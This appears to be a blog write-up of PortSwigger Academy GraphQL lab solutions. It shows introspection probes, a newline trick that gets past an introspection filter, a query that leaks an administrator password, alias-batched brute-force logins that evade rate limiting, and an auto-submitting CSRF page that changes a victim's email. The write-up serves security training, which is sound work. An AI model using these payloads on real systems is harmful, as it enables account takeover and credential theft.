Published on

PortSwigger - GraphQL

Authors

GraphQL Notes

GraphQL has :

  • Queries : To retrieve data (like GET method on REST)
query myGetProductQuery{
	getProduct(id: 123){
		name
		description
	}
}
  • Mutations : To make changes to that data (equivalent to POST, PUT , DELETE in REST api)
#Example mutation request

mutation {
	createProduct(name: "Flamin Cocktail Glasses", listed:"yes"){
		id
		name
		listed
	}
}
# Example mutation response

{
	"data" : {
		"createProduct": {
			"id": 123,
			"name": "Flamin Cocktail Glasses",
			"listed": "yes"
		}
	}
}

Labs

Accessing private GraphQL posts

First we try and do an introspection query to understand the schema Send graphql endpoint to repeater and make sure body is empty, then add graphql syntax to the graphql section in repeater.

# trying universal query to confirm its graphql service

{
"query":"{__typename}"
}


# introspection probe request to confirm if introspection exists
# just copy paste the below in graphql tab in repeater, it will adjust json

{__schema{queryType{name}}}

# to get root query fields:

{
  __schema {
    queryType {
      fields {
        name
        type {
          name
          kind
          ofType {
            name
            kind
          }
        }
      }
    }
  }
}


# run full introspection query present at 
https://portswigger.net/web-security/graphql

# Solution
query getBlogPost ($id:Int!) {
    getBlogPost (id:$id) {
        image
        title
        author
        id
        paragraphs
        postPassword
    }
}

Variables:
{"id":3}

Accidental exposure of private GraphQL fields

Used the query mentioned above to return root fields. This was the request and response :

# request 
{
  __schema {
    queryType {
      fields {
        name
        type {
          name
          kind
          ofType {
            name
            kind
          }
        }
      }
    }
  }
}


# response 

HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 740

{
  "data": {
    "__schema": {
      "queryType": {
        "fields": [
          {
            "name": "getBlogPost",
            "type": {
              "name": "BlogPost",
              "kind": "OBJECT",
              "ofType": null
            }
          },
          {
            "name": "getAllBlogPosts",
            "type": {
              "name": null,
              "kind": "NON_NULL",
              "ofType": {
                "name": null,
                "kind": "LIST"
              }
            }
          },
          {
            "name": "getUser",
            "type": {
              "name": "User",
              "kind": "OBJECT",
              "ofType": null
            }
          }
        ]
      }
    }
  }
}

Final query:

query {
  getUser (id:1) {
    id
    username
    password
  }
}

response :
HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 133

{
  "data": {
    "getUser": {
      "id": 1,
      "username": "administrator",
      "password": "5sx5ykv9m970932638ew"
    }
  }
}

Finding a hidden GraphQL endpoint

When introspection query is disabled, it is usually done by blocking __schema keyword using regex. We can try adding spaces, commas to test for a bypass.

As such, if the developer has only excluded __schema{, then the below introspection query would not be excluded.

#Introspection query with newline
{ "query": "query{__schema {queryType{name}}}" }`

It could also be possible that introspection is only disabled on POST, we can try other methods.

# Introspection probe as GET request 

GET /graphql?query=query%7B__schema%0A%7BqueryType%7Bname%7D%7D%7D

We found out that /api is the hidden endpoint by send a get request to it and getting the following response

HTTP/2 400 Bad Request
Content-Type: application/json; charset=utf-8
Set-Cookie: session=KY983HoSE2sAwqylZWysXQOPI5pABQ15; Secure; HttpOnly; SameSite=None
X-Frame-Options: SAMEORIGIN
Content-Length: 19

"Query not present"
https://0a6d00d2049bd7b08406b8a900b90087.web-security-academy.net/api?query=query{__typename}


# introspection query in get request blocked
`/api?query=query+IntrospectionQuery+%7B%0A++__schema+%7B%0A++++queryType+%7B%0D%0A++++++name%0D%0A++++%7D%0D%0A++++mutationType+%7B%0D%0A++++++name%0D%0A++++%7D%0D%0A++++subscriptionType+%7B%0D%0A++++++name%0D%0A++++%7D%0D%0A++++types+%7B%0D%0A++++++...FullType%0D%0A++++%7D%0D%0A++++directives+%7B%0D%0A++++++name%0D%0A++++++description%0D%0A++++++args+%7B%0D%0A++++++++...InputValue%0D%0A++++++%7D%0D%0A++++%7D%0D%0A++%7D%0D%0A%7D%0D%0A%0D%0Afragment+FullType+on+__Type+%7B%0D%0A++kind%0D%0A++name%0D%0A++description%0D%0A++fields%28includeDeprecated%3A+true%29+%7B%0D%0A++++name%0D%0A++++description%0D%0A++++args+%7B%0D%0A++++++...InputValue%0D%0A++++%7D%0D%0A++++type+%7B%0D%0A++++++...TypeRef%0D%0A++++%7D%0D%0A++++isDeprecated%0D%0A++++deprecationReason%0D%0A++%7D%0D%0A++inputFields+%7B%0D%0A++++...InputValue%0D%0A++%7D%0D%0A++interfaces+%7B%0D%0A++++...TypeRef%0D%0A++%7D%0D%0A++enumValues%28includeDeprecated%3A+true%29+%7B%0D%0A++++name%0D%0A++++description%0D%0A++++isDeprecated%0D%0A++++deprecationReason%0D%0A++%7D%0D%0A++possibleTypes+%7B%0D%0A++++...TypeRef%0D%0A++%7D%0D%0A%7D%0D%0A%0D%0Afragment+InputValue+on+__InputValue+%7B%0D%0A++name%0D%0A++description%0D%0A++type+%7B%0D%0A++++...TypeRef%0D%0A++%7D%0D%0A++defaultValue%0D%0A%7D%0D%0A%0D%0Afragment+TypeRef+on+__Type+%7B%0D%0A++kind%0D%0A++name%0D%0A++ofType+%7B%0D%0A++++kind%0D%0A++++name%0D%0A++++ofType+%7B%0D%0A++++++kind%0D%0A++++++name%0D%0A++++++ofType+%7B%0D%0A++++++++kind%0D%0A++++++++name%0D%0A++++++%7D%0D%0A++++%7D%0D%0A++%7D%0D%0A%7D%0D%0A`


# bypass regex
`/api?query=query+IntrospectionQuery+%7B%0D%0A++__schema%0a+%7B%0D%0A++++queryType+%7B%0D%0A++++++name%0D%0A++++%7D%0D%0A++++mutationType+%7B%0D%0A++++++name%0D%0A++++%7D%0D%0A++++subscriptionType+%7B%0D%0A++++++name%0D%0A++++%7D%0D%0A++++types+%7B%0D%0A++++++...FullType%0D%0A++++%7D%0D%0A++++directives+%7B%0D%0A++++++name%0D%0A++++++description%0D%0A++++++args+%7B%0D%0A++++++++...InputValue%0D%0A++++++%7D%0D%0A++++%7D%0D%0A++%7D%0D%0A%7D%0D%0A%0D%0Afragment+FullType+on+__Type+%7B%0D%0A++kind%0D%0A++name%0D%0A++description%0D%0A++fields%28includeDeprecated%3A+true%29+%7B%0D%0A++++name%0D%0A++++description%0D%0A++++args+%7B%0D%0A++++++...InputValue%0D%0A++++%7D%0D%0A++++type+%7B%0D%0A++++++...TypeRef%0D%0A++++%7D%0D%0A++++isDeprecated%0D%0A++++deprecationReason%0D%0A++%7D%0D%0A++inputFields+%7B%0D%0A++++...InputValue%0D%0A++%7D%0D%0A++interfaces+%7B%0D%0A++++...TypeRef%0D%0A++%7D%0D%0A++enumValues%28includeDeprecated%3A+true%29+%7B%0D%0A++++name%0D%0A++++description%0D%0A++++isDeprecated%0D%0A++++deprecationReason%0D%0A++%7D%0D%0A++possibleTypes+%7B%0D%0A++++...TypeRef%0D%0A++%7D%0D%0A%7D%0D%0A%0D%0Afragment+InputValue+on+__InputValue+%7B%0D%0A++name%0D%0A++description%0D%0A++type+%7B%0D%0A++++...TypeRef%0D%0A++%7D%0D%0A++defaultValue%0D%0A%7D%0D%0A%0D%0Afragment+TypeRef+on+__Type+%7B%0D%0A++kind%0D%0A++name%0D%0A++ofType+%7B%0D%0A++++kind%0D%0A++++name%0D%0A++++ofType+%7B%0D%0A++++++kind%0D%0A++++++name%0D%0A++++++ofType+%7B%0D%0A++++++++kind%0D%0A++++++++name%0D%0A++++++%7D%0D%0A++++%7D%0D%0A++%7D%0D%0A%7D%0D%0A`


# deleting carlos using mutation 

https://0a6d00d2049bd7b08406b8a900b90087.web-security-academy.net/api?query=mutation+%7B%0A%09deleteOrganizationUser%28input%3A%7Bid%3A+3%7D%29+%7B%0A%09%09user+%7B%0A%09%09%09id%0A%09%09%7D%0A%09%7D%0A%7D

Bypassing GraphQL brute force protections

GraphQL properties cannot be with same name, to overcome this we use alias. Aliases were designed to limit number of API request calls, but we can use this feature to bypass ratelimiting.

Some rate limiters work based on the number of HTTP requests received rather than the number of operations performed on the endpoint. Because aliases effectively enable you to send multiple queries in a single HTTP message, they can bypass this restriction.

Here is the login request query to login to user carlos:

    mutation login($input: LoginInput!) {
        login(input: $input) {
            token
            success
        }
    }

Variables:
{
"input":
	{
	"username": "carlose",
	"password":"test"
	}
}

Our goal is to brute force the password to this user but ratelimiting is implemented, to bypass this limit we will use aliases.

mutation login{
bruteforce0:login(input:{password: "123456", username: "carlos"}) {
        token
        success
    }


bruteforce1:login(input:{password: "password", username: "carlos"}) {
        token
        success
    }


bruteforce2:login(input:{password: "12345678", username: "carlos"}) {
        token
        success
    }
}

Performing CSRF exploits over GraphQL

GraphQL can be used as a vector for CSRF attacks, whereby an attacker creates an exploit that causes a victim's browser to send a malicious query as the victim user.

here is the action email change request:

POST /graphql/v1 HTTP/2
Host: 0a6600f803cc4f11817bf7ab00470033.web-security-academy.net
Cookie: session=jyCOhsWjUXLTOb3duN0YcXHuvD04sdIx; session=jyCOhsWjUXLTOb3duN0YcXHuvD04sdIx
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: application/json
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://0a6600f803cc4f11817bf7ab00470033.web-security-academy.net/my-account
Content-Type: application/x-www-form-urlencoded
Content-Length: 231
Origin: https://0a6600f803cc4f11817bf7ab00470033.web-security-academy.net
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0
Te: trailers

{"query":"\n    mutation changeEmail($input: ChangeEmailInput!) {\n        changeEmail(input: $input) {\n            email\n        }\n    }\n","operationName":"changeEmail","variables":{"input":{"email":"kitij98496@acentni.com"}}}

We change it to :

POST /graphql/v1 HTTP/2
Host: 0a6600f803cc4f11817bf7ab00470033.web-security-academy.net
Cookie: session=jyCOhsWjUXLTOb3duN0YcXHuvD04sdIx; session=jyCOhsWjUXLTOb3duN0YcXHuvD04sdIx
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: application/json
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://0a6600f803cc4f11817bf7ab00470033.web-security-academy.net/my-account
Content-Type: application/x-www-form-urlencoded
Content-Length: 276
Origin: https://0a6600f803cc4f11817bf7ab00470033.web-security-academy.net
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0
Te: trailers

    query=%0A++++mutation+changeEmail%28%24input%3A+ChangeEmailInput%21%29+%7B%0A++++++++changeEmail%28input%3A+%24input%29+%7B%0A++++++++++++email%0A++++++++%7D%0A++++%7D%0A&operationName=changeEmail&variables=%7B%22input%22%3A%7B%22email%22%3A%22hacker%40hacker.com%22%7D%7D

csrf POC will be :

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>CSRF PoC</title>
</head>
<body>
    <h1>CSRF PoC</h1>
    <form id="csrf-form" method="POST" action="https://0a6600f803cc4f11817bf7ab00470033.web-security-academy.net/graphql/v1">
        <input type="hidden" name="query" value="mutation changeEmail($input: ChangeEmailInput!) { changeEmail(input: $input) { email } }" />
        <input type="hidden" name="operationName" value="changeEmail" />
        <input type="hidden" name="variables" value="{&quot;input&quot;:{&quot;email&quot;:&quot;hacker@hacker.com&quot;}}" />
        <button type="submit">Change Email</button>
    </form>

    <script>
        // Automatically submit the form to perform the CSRF attack
        document.getElementById('csrf-form').submit();
    </script>
</body>
</html>